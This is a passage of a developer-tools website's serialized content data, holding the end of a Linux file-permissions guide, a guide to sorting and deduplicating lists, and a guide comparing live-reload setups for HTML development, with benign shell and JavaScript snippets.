roots:\n",[1560,142464,142465,142467,142469,142471,142473,142475,142477,142479,142481],{"class":1562,"line":337},[1560,142466,24989],{"class":1566},[1560,142468,25827],{"class":5634},[1560,142470,24995],{"class":1576},[1560,142472,11229],{"class":5634},[1560,142474,25001],{"class":1576},[1560,142476,25004],{"class":5634},[1560,142478,24804],{"class":1576},[1560,142480,25010],{"class":5634},[1560,142482,25013],{"class":5634},[1560,142484,142485,142487,142489,142491,142493,142495,142497,142499,142501],{"class":1562,"line":343},[1560,142486,24989],{"class":1566},[1560,142488,25827],{"class":5634},[1560,142490,24995],{"class":1576},[1560,142492,24998],{"class":5634},[1560,142494,25001],{"class":1576},[1560,142496,25004],{"class":5634},[1560,142498,24762],{"class":1576},[1560,142500,25010],{"class":5634},[1560,142502,25013],{"class":5634},[33,142504,142506],{"id":142505},"new-files-have-wrong-group","New files have wrong group",[16,142508,142509],{},"The directory probably lacks the setgid bit.",[135,142511,142513],{"className":6951,"code":142512,"language":6953,"meta":141,"style":141},"chmod g+s \u002Fshared\u002Fproject\n",[143,142514,142515],{"__ignoreMap":141},[1560,142516,142517,142519,142521],{"class":1562,"line":1563},[1560,142518,24759],{"class":1566},[1560,142520,142094],{"class":5634},[1560,142522,142445],{"class":5634},[33,142524,142526],{"id":142525},"changes-not-taking-effect","Changes not taking effect",[16,142528,142529],{},"If you added a user to a group but they still lack access, they need to log in again. Group membership is evaluated at login time.",[135,142531,142533],{"className":6951,"code":142532,"language":6953,"meta":141,"style":141},"# Quick check without re-login:\nsg developers \"ls \u002Fproject\"\n",[143,142534,142535,142540],{"__ignoreMap":141},[1560,142536,142537],{"class":1562,"line":1563},[1560,142538,142539],{"class":1649},"# Quick check without re-login:\n",[1560,142541,142542,142545,142547],{"class":1562,"line":337},[1560,142543,142544],{"class":1566},"sg",[1560,142546,141832],{"class":5634},[1560,142548,142549],{"class":5634}," \"ls \u002Fproject\"\n",[11,142551,1355],{"id":1354},[41,142553,142554,142557,142560,142563,142566,142569,142572],{},[44,142555,142556],{},"Linux checks owner, then group, then others — the first match wins",[44,142558,142559],{},"Execute on directories means \"enter,\" not \"run\"",[44,142561,142562],{},"setuid, setgid, and sticky bits extend the basic model for specific scenarios",[44,142564,142565],{},"Use setgid on shared directories so new files inherit the correct group",[44,142567,142568],{},"Always set the sticky bit on world-writable directories",[44,142570,142571],{},"umask subtracts from default permissions — choose 027 or 077 for better security",[44,142573,142574],{},"When troubleshooting, check the exact user class the process runs as",[11,142576,286],{"id":285},[16,142578,142579,142580,142582],{},"Test different permission combinations and see their effects instantly with our ",[98,142581,26007],{"href":25192},". It handles numeric, symbolic, and special bits — including setuid, setgid, and sticky bit.",[11,142584,321],{"id":320},[41,142586,142587,142592],{},[44,142588,142589,142591],{},[98,142590,25170],{"href":25169}," — syntax and examples for the chmod command itself",[44,142593,142594,142596],{},[98,142595,26024],{"href":26023}," — quick reference for format conversion, ACLs, and security best practices",[2043,142598,142599],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":142601},[142602,142603,142608,142609,142610,142616,142617,142624,142625,142626],{"id":141750,"depth":337,"text":141751},{"id":141760,"depth":337,"text":141761,"children":142604},[142605,142606,142607],{"id":141764,"depth":343,"text":141765},{"id":141808,"depth":343,"text":24550},{"id":141841,"depth":343,"text":25269},{"id":141847,"depth":337,"text":141848},{"id":141910,"depth":337,"text":141911},{"id":141990,"depth":337,"text":141991,"children":142611},[142612,142613,142614,142615],{"id":141997,"depth":343,"text":141998},{"id":142073,"depth":343,"text":142074},{"id":142116,"depth":343,"text":142117},{"id":142187,"depth":343,"text":142188},{"id":142261,"depth":337,"text":142262},{"id":142382,"depth":337,"text":142383,"children":142618},[142619,142620,142621,142622,142623],{"id":142386,"depth":343,"text":142387},{"id":142422,"depth":343,"text":142423},{"id":142448,"depth":343,"text":142449},{"id":142505,"depth":343,"text":142506},{"id":142525,"depth":343,"text":142526},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Deep dive into the Linux permission model: owners, groups, others, special bits, umask, and troubleshooting common permission problems.",{"keywords":142629},[26052,142630],"linux-file-permissions",{"title":141745,"description":142627},"guides\u002Flinux-file-permissions","qOeaMFo5rwCHQ473BnE7o9qyGk7IqejBELgm4IvGC6M",{"id":142635,"title":142636,"body":142637,"date":2070,"description":142954,"extension":361,"meta":142955,"navigation":363,"path":6351,"readingTime":1717,"seo":142958,"stem":142959,"__hash__":142960},"guides\u002Fguides\u002Flist-sorting-guide.md","List Sorting Guide: Organizing Data Efficiently",{"type":8,"value":142638,"toc":142942},[142639,142643,142646,142649,142663,142666,142670,142673,142679,142685,142691,142697,142701,142704,142717,142740,142746,142752,142755,142813,142817,142820,142823,142829,142834,142838,142841,142844,142850,142854,142857,142871,142874,142876,142879,142896,142899,142901,142918,142920,142926,142928],[11,142640,142642],{"id":142641},"why-sorting-matters","Why Sorting Matters",[16,142644,142645],{},"Unsorted data wastes time. Whether you are scanning a list of 200 customer names or comparing two datasets, an unsorted list forces your brain to do the work a computer can do in milliseconds. Sorting is one of the most fundamental operations in computing — and one of the most practical.",[16,142647,142648],{},"A sorted list lets you:",[41,142650,142651,142654,142657,142660],{},[44,142652,142653],{},"Find items faster with binary search instead of scanning",[44,142655,142656],{},"Spot duplicates that cluster together",[44,142658,142659],{},"Compare two lists by aligning them side by side",[44,142661,142662],{},"Present data in a format people actually trust",[16,142664,142665],{},"The good news: you do not need to write code to sort a list. Free online tools handle it instantly. But understanding the options helps you pick the right one.",[11,142667,142669],{"id":142668},"common-sorting-scenarios","Common Sorting Scenarios",[16,142671,142672],{},"Sorting is not a one-size-fits-all operation. The right method depends on what your data looks like and what you need from it.",[16,142674,142675,142678],{},[47,142676,142677],{},"Name lists."," A spreadsheet of contacts, a class roster, or a mailing list — alphabetical order is the default expectation. Last-name-first or first-name-first changes the result entirely, so decide before you sort.",[16,142680,142681,142684],{},[47,142682,142683],{},"Data cleanup."," Raw exports from databases or logs often arrive scrambled. Sorting brings structure to chaos, making it easier to spot anomalies, missing entries, or formatting errors.",[16,142686,142687,142690],{},[47,142688,142689],{},"Priority ranking."," Task lists, bug reports, and feature backlogs need numeric or custom ordering. A priority number or severity rating determines the sequence, not the alphabet.",[16,142692,142693,142696],{},[47,142694,142695],{},"Randomization."," Sometimes you need the opposite of order. Shuffling a list randomly is useful for prize draws, A\u002FB test splits, or breaking positional bias in surveys.",[11,142698,142700],{"id":142699},"sorting-modes-explained","Sorting Modes Explained",[16,142702,142703],{},"Most list sorters offer four core modes. Each produces a different output from the same input.",[16,142705,142706,142709,142710,1856,142713,142716],{},[47,142707,142708],{},"Alphabetical sort."," Lines are ordered A to Z (ascending) or Z to A (descending). Case sensitivity matters — by default, uppercase letters sort before lowercase in ASCII order. Most tools offer a case-insensitive toggle to treat ",[143,142711,142712],{},"apple",[143,142714,142715],{},"Apple"," as equals.",[16,142718,142719,142722,142723,142725,142726,142728,142729,142725,142731,142733,142734,55616,142737,468],{},[47,142720,142721],{},"Numeric sort."," Numbers are ordered by value, not by string position. This is the key difference from alphabetical sort. Alphabetically, ",[143,142724,36197],{}," comes before ",[143,142727,10099],{}," because ",[143,142730,3585],{},[143,142732,10099],{},". Numeric sort fixes this: ",[143,142735,142736],{},"2, 10, 100",[143,142738,142739],{},"10, 100, 2",[16,142741,142742,142745],{},[47,142743,142744],{},"Length sort."," Lines are ordered by the number of characters they contain. shortest first or longest first. This is surprisingly useful — sorting by length helps you find short entries that might be errors (like a one-letter name) or long entries that might need trimming.",[16,142747,142748,142751],{},[47,142749,142750],{},"Random sort."," The list is shuffled into a random order. No predictable pattern. Useful for fairness when order introduces bias.",[16,142753,142754],{},"Here is a quick comparison:",[193,142756,142757,142768],{},[196,142758,142759],{},[199,142760,142761,142763,142766],{},[202,142762,25398],{},[202,142764,142765],{},"Orders By",[202,142767,489],{},[211,142769,142770,142781,142791,142802],{},[199,142771,142772,142775,142778],{},[216,142773,142774],{},"Alphabetical",[216,142776,142777],{},"Character code (A-Z)",[216,142779,142780],{},"Names, labels, categories",[199,142782,142783,142785,142788],{},[216,142784,25757],{},[216,142786,142787],{},"Numerical value",[216,142789,142790],{},"Rankings, measurements, scores",[199,142792,142793,142796,142799],{},[216,142794,142795],{},"Length",[216,142797,142798],{},"Character count",[216,142800,142801],{},"Finding outliers, trimming data",[199,142803,142804,142807,142810],{},[216,142805,142806],{},"Random",[216,142808,142809],{},"No order",[216,142811,142812],{},"Drawings, unbiased selection",[11,142814,142816],{"id":142815},"removing-duplicates","Removing Duplicates",[16,142818,142819],{},"Duplicates are one of the most common data quality problems. They inflate counts, skew analytics, and confuse everyone who reads the list.",[16,142821,142822],{},"Most sort tools include a \"remove duplicates\" option. When enabled, the tool compares each line to the previous one after sorting. If two adjacent lines are identical, the second one is dropped.",[16,142824,142825,142826,142828],{},"Why after sorting? Because duplicates only cluster together in a sorted list. In an unsorted list, ",[143,142827,142712],{}," might appear on line 1 and line 47 — a comparison against only the previous line would miss it.",[16,142830,142831,142833],{},[47,142832,91199],{}," Always sort before deduplicating. If you deduplicate an unsorted list, you need a different algorithm (like a hash set) that checks every line against every other line — slower and more complex.",[11,142835,142837],{"id":142836},"handling-blank-lines","Handling Blank Lines",[16,142839,142840],{},"Blank lines sneak into data from copy-paste operations, spreadsheet exports, and log files. They do not carry information, but they break parsing routines and create misleading gaps.",[16,142842,142843],{},"The fix is simple: enable \"remove blank lines\" before sorting. Most tools strip lines that contain only whitespace or are completely empty.",[16,142845,142846,142849],{},[47,142847,142848],{},"When to keep blank lines."," If blank lines are intentional separators — like paragraphs in a text document — removing them changes the meaning. In that case, sort within sections rather than across the entire document.",[11,142851,142853],{"id":142852},"sort-direction-ascending-vs-descending","Sort Direction: Ascending vs Descending",[16,142855,142856],{},"Every sort mode has two directions:",[41,142858,142859,142865],{},[44,142860,142861,142864],{},[47,142862,142863],{},"Ascending"," — smallest to largest, A to Z, shortest to longest",[44,142866,142867,142870],{},[47,142868,142869],{},"Descending"," — largest to smallest, Z to A, longest to shortest",[16,142872,142873],{},"Pick the direction that matches your goal. For a ranked leaderboard, descending numeric order puts the highest score first. For a directory, ascending alphabetical order is the convention.",[11,142875,118092],{"id":118091},[16,142877,142878],{},"Here is a reliable sequence for cleaning up any messy list:",[77,142880,142881,142883,142885,142887,142890,142893],{},[44,142882,83783],{},[44,142884,83786],{},[44,142886,83792],{},[44,142888,142889],{},"Choose the sort mode — alphabetical for names, numeric for values",[44,142891,142892],{},"Pick ascending or descending",[44,142894,142895],{},"Click sort and copy the result",[16,142897,142898],{},"This workflow takes seconds and produces a clean, deduplicated, ordered list ready for use.",[11,142900,1355],{"id":1354},[41,142902,142903,142906,142909,142912,142915],{},[44,142904,142905],{},"Sorting transforms raw data into something you can search, compare, and trust",[44,142907,142908],{},"Pick the sort mode that matches your data type: alphabetical for text, numeric for numbers, length for finding outliers",[44,142910,142911],{},"Always sort before removing duplicates — duplicates cluster together after sorting",[44,142913,142914],{},"Strip blank lines early to avoid false entries in your result",[44,142916,142917],{},"Use random sort when fairness or unbiased selection matters more than order",[11,142919,286],{"id":285},[16,142921,142922,142923,142925],{},"Paste any list into our free ",[98,142924,6341],{"href":6340}," and choose alphabetical, numeric, length, or random mode. Toggle duplicate removal and blank line stripping, then copy the sorted result — no signup, no code required.",[11,142927,321],{"id":320},[41,142929,142930,142934,142938],{},[44,142931,142932],{},[98,142933,83973],{"href":6382},[44,142935,142936],{},[98,142937,6358],{"href":6357},[44,142939,142940],{},[98,142941,23827],{"href":23826},{"title":141,"searchDepth":337,"depth":337,"links":142943},[142944,142945,142946,142947,142948,142949,142950,142951,142952,142953],{"id":142641,"depth":337,"text":142642},{"id":142668,"depth":337,"text":142669},{"id":142699,"depth":337,"text":142700},{"id":142815,"depth":337,"text":142816},{"id":142836,"depth":337,"text":142837},{"id":142852,"depth":337,"text":142853},{"id":118091,"depth":337,"text":118092},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Practical strategies for sorting lists and data sets using online tools and programming. Covers alphabetical, numeric, length, and random sort modes.",{"keywords":142956,"immutable":363},[6380,142957],"list-sorting-guide",{"title":142636,"description":142954},"guides\u002Flist-sorting-guide","eI8BO72iR8CMdnwpeOeHOLY3y1MvaALNEj9HjY1Oh-c",{"id":142962,"title":142963,"body":142964,"date":2070,"description":143627,"extension":361,"meta":143628,"navigation":363,"path":143629,"readingTime":889,"seo":143630,"stem":143631,"__hash__":143632},"guides\u002Fguides\u002Flive-reload-html-development.md","Live Reload Techniques for HTML Development",{"type":8,"value":142965,"toc":143616},[142966,142970,142973,142984,142988,142991,143036,143041,143046,143049,143053,143056,143080,143083,143088,143093,143097,143100,143162,143165,143170,143221,143228,143233,143237,143240,143274,143277,143386,143389,143451,143456,143460,143553,143557,143583,143585,143605,143607,143613],[11,142967,142969],{"id":142968},"what-is-live-reload","What Is Live Reload?",[16,142971,142972],{},"Live reload automatically refreshes your browser when you save a file. Instead of switching to the browser and pressing F5 after every edit, the page updates on its own. For HTML development, this means you see changes the instant you save — no manual refresh, no context switching.",[16,142974,142975,142976,142979,142980,142983],{},"Live reload comes in two flavors: ",[47,142977,142978],{},"full page reload"," replaces the entire page, while ",[47,142981,142982],{},"hot module replacement (HMR)"," swaps only the changed parts without losing state. For plain HTML work, full reload is usually sufficient. HMR matters more when you are working with JavaScript-heavy frameworks.",[11,142985,142987],{"id":142986},"method-1-browser-extensions","Method 1: Browser Extensions",[16,142989,142990],{},"The simplest approach. Install an extension, point it at a local file, and it watches for changes.",[193,142992,142993,143003],{},[196,142994,142995],{},[199,142996,142997,142999,143001],{},[202,142998,102621],{},[202,143000,5524],{},[202,143002,31483],{},[211,143004,143005,143016,143026],{},[199,143006,143007,143010,143013],{},[216,143008,143009],{},"LiveReload",[216,143011,143012],{},"Chrome, Firefox",[216,143014,143015],{},"Monitors local files via a companion app",[199,143017,143018,143021,143023],{},[216,143019,143020],{},"Live JS",[216,143022,5534],{},[216,143024,143025],{},"Watches file changes via the file:\u002F\u002F protocol",[199,143027,143028,143031,143033],{},[216,143029,143030],{},"Auto Refresh",[216,143032,5534],{},[216,143034,143035],{},"Reloads on a timer or file change",[16,143037,143038,143040],{},[47,143039,37212],{}," Zero configuration. Open your HTML file and start editing.",[16,143042,143043,143045],{},[47,143044,37216],{}," Limited to file:\u002F\u002F or localhost. No support for preprocessors. Each developer needs the extension installed.",[16,143047,143048],{},"Browser extensions are fine for quick prototypes. They break down when your project involves a build step or multiple developers.",[11,143050,143052],{"id":143051},"method-2-vs-code-live-server","Method 2: VS Code Live Server",[16,143054,143055],{},"If you edit in VS Code, the Live Server extension is the fastest path to live reload.",[77,143057,143058,143065,143071,143077],{},[44,143059,143060,143061,143064],{},"Install the ",[47,143062,143063],{},"Live Server"," extension from the VS Code marketplace",[44,143066,143067,143068],{},"Right-click an HTML file and select ",[47,143069,143070],{},"Open with Live Server",[44,143072,143073,143074],{},"A browser tab opens at ",[143,143075,143076],{},"http:\u002F\u002F127.0.0.1:5500",[44,143078,143079],{},"Save any file in the project — the browser reloads automatically",[16,143081,143082],{},"Live Server spawns a lightweight Node server and injects a WebSocket script into your pages. When a file changes, the server pushes a reload command to all connected browsers.",[16,143084,143085,143087],{},[47,143086,84034],{}," Static HTML sites, prototypes, and learning projects. If your workflow is \"edit HTML + CSS → save → check browser,\" this is the tool.",[16,143089,143090,143092],{},[47,143091,40552],{}," No bundler integration. If you compile Sass, TypeScript, or PostCSS, you need a separate watch process running alongside Live Server.",[11,143094,143096],{"id":143095},"method-3-build-tool-dev-servers","Method 3: Build Tool Dev Servers",[16,143098,143099],{},"Modern build tools include dev servers with live reload built in.",[193,143101,143102,143113],{},[196,143103,143104],{},[199,143105,143106,143108,143110],{},[202,143107,751],{},[202,143109,25089],{},[202,143111,143112],{},"Reload Type",[211,143114,143115,143126,143138,143149],{},[199,143116,143117,143119,143123],{},[216,143118,9643],{},[216,143120,143121],{},[143,143122,20491],{},[216,143124,143125],{},"HMR + full reload",[199,143127,143128,143131,143136],{},[216,143129,143130],{},"Webpack Dev Server",[216,143132,143133],{},[143,143134,143135],{},"webpack serve",[216,143137,143125],{},[199,143139,143140,143142,143147],{},[216,143141,49857],{},[216,143143,143144],{},[143,143145,143146],{},"parcel serve",[216,143148,143125],{},[199,143150,143151,143154,143159],{},[216,143152,143153],{},"11ty",[216,143155,143156],{},[143,143157,143158],{},"eleventy --serve",[216,143160,143161],{},"Full reload",[16,143163,143164],{},"These servers do more than reload — they transform your source files before serving. Sass becomes CSS. TypeScript becomes JavaScript. Markdown becomes HTML. The reload happens after the transformation completes.",[16,143166,143167],{},[47,143168,143169],{},"Example with Vite:",[135,143171,143173],{"className":6951,"code":143172,"language":6953,"meta":141,"style":141},"npm create vite@latest my-site -- --template vanilla\ncd my-site\nnpm install\nnpm run dev\n",[143,143174,143175,143197,143204,143211],{"__ignoreMap":141},[1560,143176,143177,143179,143182,143185,143188,143191,143194],{"class":1562,"line":1563},[1560,143178,41383],{"class":1566},[1560,143180,143181],{"class":5634}," create",[1560,143183,143184],{"class":5634}," vite@latest",[1560,143186,143187],{"class":5634}," my-site",[1560,143189,143190],{"class":1576}," --",[1560,143192,143193],{"class":1576}," --template",[1560,143195,143196],{"class":5634}," vanilla\n",[1560,143198,143199,143201],{"class":1562,"line":337},[1560,143200,24791],{"class":1576},[1560,143202,143203],{"class":5634}," my-site\n",[1560,143205,143206,143208],{"class":1562,"line":343},[1560,143207,41383],{"class":1566},[1560,143209,143210],{"class":5634}," install\n",[1560,143212,143213,143215,143218],{"class":1562,"line":365},[1560,143214,41383],{"class":1566},[1560,143216,143217],{"class":5634}," run",[1560,143219,143220],{"class":5634}," dev\n",[16,143222,143223,143224,143227],{},"Vite starts a dev server at ",[143,143225,143226],{},"http:\u002F\u002Flocalhost:5173",". Edit any file — the browser updates in milliseconds. Vite serves source files directly using native ES modules, so startup is near-instant regardless of project size.",[16,143229,143230,143232],{},[47,143231,84034],{}," Any project with a build pipeline. If you preprocess files, use a framework, or need production builds later, start with a build tool dev server.",[11,143234,143236],{"id":143235},"method-4-file-watchers-custom-server","Method 4: File Watchers + Custom Server",[16,143238,143239],{},"For maximum control, combine a file watcher with a custom server.",[135,143241,143243],{"className":6951,"code":143242,"language":6953,"meta":141,"style":141},"# Using nodemon to watch HTML files\nnpx nodemon --watch src --ext html,css,js --exec \"echo 'change detected'\"\n",[143,143244,143245,143250],{"__ignoreMap":141},[1560,143246,143247],{"class":1562,"line":1563},[1560,143248,143249],{"class":1649},"# Using nodemon to watch HTML files\n",[1560,143251,143252,143254,143257,143260,143262,143265,143268,143271],{"class":1562,"line":337},[1560,143253,11016],{"class":1566},[1560,143255,143256],{"class":5634}," nodemon",[1560,143258,143259],{"class":1576}," --watch",[1560,143261,10631],{"class":5634},[1560,143263,143264],{"class":1576}," --ext",[1560,143266,143267],{"class":5634}," html,css,js",[1560,143269,143270],{"class":1576}," --exec",[1560,143272,143273],{"class":5634}," \"echo 'change detected'\"\n",[16,143275,143276],{},"Pair this with a WebSocket server that pushes reload commands:",[135,143278,143280],{"className":1607,"code":143279,"language":1609,"meta":141,"style":141},"const ws = require('ws');\nconst wss = new ws.Server({ port: 35729 });\n\nchokidar.watch('src').on('change', () => {\n  wss.clients.forEach(client => client.send('reload'));\n});\n",[143,143281,143282,143300,143325,143329,143356,143382],{"__ignoreMap":141},[1560,143283,143284,143286,143289,143291,143293,143295,143298],{"class":1562,"line":1563},[1560,143285,8180],{"class":1669},[1560,143287,143288],{"class":1576}," ws",[1560,143290,8186],{"class":1669},[1560,143292,20658],{"class":1566},[1560,143294,1688],{"class":1570},[1560,143296,143297],{"class":5634},"'ws'",[1560,143299,1744],{"class":1570},[1560,143301,143302,143304,143307,143309,143311,143314,143317,143320,143323],{"class":1562,"line":337},[1560,143303,8180],{"class":1669},[1560,143305,143306],{"class":1576}," wss",[1560,143308,8186],{"class":1669},[1560,143310,11489],{"class":1669},[1560,143312,143313],{"class":1570}," ws.",[1560,143315,143316],{"class":1566},"Server",[1560,143318,143319],{"class":1570},"({ port: ",[1560,143321,143322],{"class":1576},"35729",[1560,143324,11630],{"class":1570},[1560,143326,143327],{"class":1562,"line":343},[1560,143328,1702],{"emptyLinePlaceholder":363},[1560,143330,143331,143334,143337,143339,143342,143344,143346,143348,143350,143352,143354],{"class":1562,"line":365},[1560,143332,143333],{"class":1570},"chokidar.",[1560,143335,143336],{"class":1566},"watch",[1560,143338,1688],{"class":1570},[1560,143340,143341],{"class":5634},"'src'",[1560,143343,9368],{"class":1570},[1560,143345,86828],{"class":1566},[1560,143347,1688],{"class":1570},[1560,143349,130806],{"class":5634},[1560,143351,11774],{"class":1570},[1560,143353,11503],{"class":1669},[1560,143355,1571],{"class":1570},[1560,143357,143358,143361,143363,143365,143368,143370,143372,143375,143377,143380],{"class":1562,"line":889},[1560,143359,143360],{"class":1570},"  wss.clients.",[1560,143362,11513],{"class":1566},[1560,143364,1688],{"class":1570},[1560,143366,143367],{"class":2219},"client",[1560,143369,9378],{"class":1669},[1560,143371,90488],{"class":1570},[1560,143373,143374],{"class":1566},"send",[1560,143376,1688],{"class":1570},[1560,143378,143379],{"class":5634},"'reload'",[1560,143381,41941],{"class":1570},[1560,143383,143384],{"class":1562,"line":1710},[1560,143385,11809],{"class":1570},[16,143387,143388],{},"Inject the client script into your HTML:",[135,143390,143392],{"className":6417,"code":143391,"language":6419,"meta":141,"style":141},"\u003Cscript>\n  const ws = new WebSocket('ws:\u002F\u002Flocalhost:35729');\n  ws.onmessage = () => location.reload();\n\u003C\u002Fscript>\n",[143,143393,143394,143402,143422,143443],{"__ignoreMap":141},[1560,143395,143396,143398,143400],{"class":1562,"line":1563},[1560,143397,6431],{"class":1570},[1560,143399,11475],{"class":2484},[1560,143401,6441],{"class":1570},[1560,143403,143404,143406,143408,143410,143412,143415,143417,143420],{"class":1562,"line":337},[1560,143405,28057],{"class":1669},[1560,143407,143288],{"class":1576},[1560,143409,8186],{"class":1669},[1560,143411,11489],{"class":1669},[1560,143413,143414],{"class":1566}," WebSocket",[1560,143416,1688],{"class":1570},[1560,143418,143419],{"class":5634},"'ws:\u002F\u002Flocalhost:35729'",[1560,143421,1744],{"class":1570},[1560,143423,143424,143427,143429,143431,143433,143435,143438,143441],{"class":1562,"line":343},[1560,143425,143426],{"class":1570},"  ws.",[1560,143428,110792],{"class":1566},[1560,143430,8186],{"class":1669},[1560,143432,130862],{"class":1570},[1560,143434,11503],{"class":1669},[1560,143436,143437],{"class":1570}," location.",[1560,143439,143440],{"class":1566},"reload",[1560,143442,90158],{"class":1570},[1560,143444,143445,143447,143449],{"class":1562,"line":365},[1560,143446,11242],{"class":1570},[1560,143448,11475],{"class":2484},[1560,143450,6441],{"class":1570},[16,143452,143453,143455],{},[47,143454,84034],{}," Custom setups, embedded projects, or when existing tools do not fit your architecture.",[11,143457,143459],{"id":143458},"comparing-the-approaches","Comparing the Approaches",[193,143461,143462,143481],{},[196,143463,143464],{},[199,143465,143466,143469,143472,143475,143478],{},[202,143467,143468],{},"Criteria",[202,143470,143471],{},"Browser Extension",[202,143473,143474],{},"VS Code Live Server",[202,143476,143477],{},"Build Tool Dev Server",[202,143479,143480],{},"Custom Setup",[211,143482,143483,143500,143513,143527,143540],{},[199,143484,143485,143488,143491,143494,143497],{},[216,143486,143487],{},"Setup time",[216,143489,143490],{},"1 minute",[216,143492,143493],{},"2 minutes",[216,143495,143496],{},"5 minutes",[216,143498,143499],{},"30+ minutes",[199,143501,143502,143505,143507,143509,143511],{},[216,143503,143504],{},"Build step support",[216,143506,6117],{},[216,143508,6117],{},[216,143510,3057],{},[216,143512,3057],{},[199,143514,143515,143518,143520,143522,143525],{},[216,143516,143517],{},"Multi-browser sync",[216,143519,6117],{},[216,143521,6117],{},[216,143523,143524],{},"Yes (with plugins)",[216,143526,3057],{},[199,143528,143529,143532,143534,143536,143538],{},[216,143530,143531],{},"HMR",[216,143533,6117],{},[216,143535,6117],{},[216,143537,3057],{},[216,143539,124118],{},[199,143541,143542,143545,143547,143549,143551],{},[216,143543,143544],{},"Team consistency",[216,143546,15466],{},[216,143548,7639],{},[216,143550,15446],{},[216,143552,15446],{},[11,143554,143556],{"id":143555},"best-practices-for-live-reload-workflows","Best Practices for Live Reload Workflows",[41,143558,143559,143565,143571,143577],{},[44,143560,143561,143564],{},[47,143562,143563],{},"Pick one method and stick with it."," Mixing live reload tools causes conflicts — two servers trying to watch the same files leads to double reloads.",[44,143566,143567,143570],{},[47,143568,143569],{},"Use the same setup across your team."," Browser extensions create invisible differences between developer environments. Build tool configs are version-controlled.",[44,143572,143573,143576],{},[47,143574,143575],{},"Keep reload fast."," If your build takes more than 500ms, the reload delay disrupts your flow. Profile and optimize your build pipeline.",[44,143578,143579,143582],{},[47,143580,143581],{},"Test without reload sometimes."," Some bugs only appear on fresh page loads. Do a hard refresh (Ctrl+Shift+R) periodically to catch state that HMR preserves incorrectly.",[11,143584,1355],{"id":1354},[41,143586,143587,143590,143593,143596,143599,143602],{},[44,143588,143589],{},"Live reload saves you from manually refreshing the browser after every edit",[44,143591,143592],{},"Browser extensions work for quick experiments but lack build tool integration",[44,143594,143595],{},"VS Code Live Server is the fastest option for static HTML projects",[44,143597,143598],{},"Build tool dev servers (Vite, Webpack, Parcel) handle preprocessing and HMR",[44,143600,143601],{},"Custom setups offer full control but require significant setup time",[44,143603,143604],{},"Choose based on project complexity, not personal habit",[11,143606,286],{"id":285},[16,143608,143609,143610,143612],{},"Preview your HTML changes instantly with our ",[98,143611,109028],{"href":109027}," tool. Write HTML, CSS, and JavaScript in the editor — see the rendered output in real time without any setup.",[2043,143614,143615],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":143617},[143618,143619,143620,143621,143622,143623,143624,143625,143626],{"id":142968,"depth":337,"text":142969},{"id":142986,"depth":337,"text":142987},{"id":143051,"depth":337,"text":143052},{"id":143095,"depth":337,"text":143096},{"id":143235,"depth":337,"text":143236},{"id":143458,"depth":337,"text":143459},{"id":143555,"depth":337,"text":143556},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Compare live reload methods for HTML development — from browser extensions to build tools — and pick the right workflow for your project.",{"immutable":363},"\u002Fguides\u002Flive-reload-html-development",{"title":142963,"description":143627},"guides\u002Flive-reload-html-development","PF9D8KSmFQiQfi2sXUEjckfPyXa5VEhVBW9S-DgCh94",{"id":143634,"title":143635,"body":143636,"date":2070,"description":144114,"extension":361,"meta":144115,"navigation":363,"path":144116,"readingTime":1710,"seo":144117,"stem":144118,"__hash__":144119},"guides\u002Fguides\u002Flive-reload-html-workflow.md","Live Reload HTML Development 